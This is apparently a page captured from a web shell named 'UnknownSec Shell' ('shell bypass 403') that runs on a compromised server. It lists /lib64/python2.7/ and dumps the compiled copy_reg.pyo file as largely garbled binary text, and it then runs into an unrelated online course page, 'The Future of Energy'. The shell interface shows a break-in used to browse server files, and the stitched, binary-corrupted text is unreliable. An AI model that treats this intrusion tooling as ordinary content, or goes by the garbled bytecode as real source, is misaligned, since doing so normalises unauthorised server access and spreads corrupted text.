shell bypass 403

UnknownSec Shell

: /lib64/python2.7/ [ drwxr-xr-x ]

name : copy_reg.pyo
�
zfc@s�dZddlmZdddddgZiZdd�Zd	�Zye	Wne
k
ranXd
�Zee	ee	�d�ZdZ
d�Zd�Zd�ZiZiZiZd�Zd�Zd�ZdS(s�Helper to provide extensibility for pickle/cPickle.

This is only useful to add pickle support for extension types defined in
C, not for instances of user-defined classes.
i����(t	ClassTypetpickletconstructort
add_extensiontremove_extensiontclear_extension_cachecCsft|�tkr!td��nt|d�s?td��n|t|<|dk	rbt|�ndS(Ns-copy_reg is not intended for use with classest__call__s$reduction functions must be callable(ttypet
_ClassTypet	TypeErrorthasattrtdispatch_tabletNoneR(tob_typetpickle_functiontconstructor_ob((s /usr/lib64/python2.7/copy_reg.pyRs
cCs"t|d�std��ndS(NRsconstructors must be callable(R
R	(tobject((s /usr/lib64/python2.7/copy_reg.pyRscCst|j|jffS(N(tcomplextrealtimag(tc((s /usr/lib64/python2.7/copy_reg.pytpickle_complex'scCsY|tkrtj|�}n7|j||�}|jtjkrU|j||�n|S(N(Rt__new__t__init__(tclstbasetstatetobj((s /usr/lib64/python2.7/copy_reg.pyt_reconstructor.sii	cCs&x;|jjD]'}t|d�r
|jt@r
Pq
q
Wt}|tkrSd}n.||jkrutd|j�n||�}|j||f}y
|j	}WnYt
k
r�t|dd�r�td��ny
|j}Wqt
k
r�d}qXn
X|�}|rt
||fSt
|fSdS(Nt	__flags__scan't pickle %s objectst	__slots__sNa class that defines __slots__ without defining __getstate__ cannot be pickled(t	__class__t__mro__R
Rt	_HEAPTYPERRR	t__name__t__getstate__tAttributeErrortgetattrt__dict__R(tselftprotoRRtargstgetstatetdict((s /usr/lib64/python2.7/copy_reg.pyt
_reduce_ex;s.	



	
cGs|j||�S(N(R(RR)((s /usr/lib64/python2.7/copy_reg.pyt
__newobj__\scCs4|jjd�}|dk	r"|Sg}t|d�s:n�x�|jD]�}d|jkrD|jd}t|t�r�|f}nx�|D]�}|d	kr�q�q�|jd�r|jd�r|j	j
d�}|r�|jd||f�q|j|�q�|j|�q�WqDqDWy
||_WnnX|S(
s�Return a list of slot names for a given class.

    This needs to find slots defined by the class and its bases, so we
    can't simply return the __slots__ attribute.  We must walk down
    the Method Resolution Order and concatenate the __slots__ of each
    class found there.  (This assumes classes don't modify their
    __slots__ attribute to misrepresent their slots after the class is
    defined.)
    t
__slotnames__RR&t__weakref__t__t_s_%s%sN(R&R/(
R&tgetRR
R t
isinstancet
basestringt
startswithtendswithR"tlstriptappendR.(RtnamesRtslotstnametstripped((s /usr/lib64/python2.7/copy_reg.pyt
_slotnames_s2


cCs�t|�}d|ko#dkns4td�n||f}tj|�|krntj|�|krndS|tkr�td|t|f��n|tkr�td|t|f��n|t|<|t|<dS(sRegister an extension code.ii���scode out of rangeNs)key %s is already registered with code %ss$code %s is already in use for key %s(tintt
ValueErrort_extension_registryR2t_inverted_registry(tmoduleR;tcodetkey((s /usr/lib64/python2.7/copy_reg.pyR�s
cCsw||f}tj|�|ks6tj|�|krOtd||f��nt|=t|=|tkrst|=ndS(s0Unregister an extension code.  For testing only.s%key %s is not registered with code %sN(R@R2RAR?t_extension_cache(RBR;RCRD((s /usr/lib64/python2.7/copy_reg.pyR�scCstj�dS(N(REtclear(((s /usr/lib64/python2.7/copy_reg.pyR�sNi(t__doc__ttypesRRt__all__RRRRRt	NameErrorRRR!R,R-R=R@RARERRR(((s /usr/lib64/python2.7/copy_reg.pyt<module>s.
	
				!		<		

© 2025 UnknownSec
The Future of Energy | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar
The Future of Energy
Special Offer Limited Offer
Day
Hr
Min
Sec
40% Off

The Future of Energy

in Science
2.50
(1 Ratings)
Created by Kate Williams

Report course

Please describe about the report short and clearly.

Share

Share course with your friends

Buy with points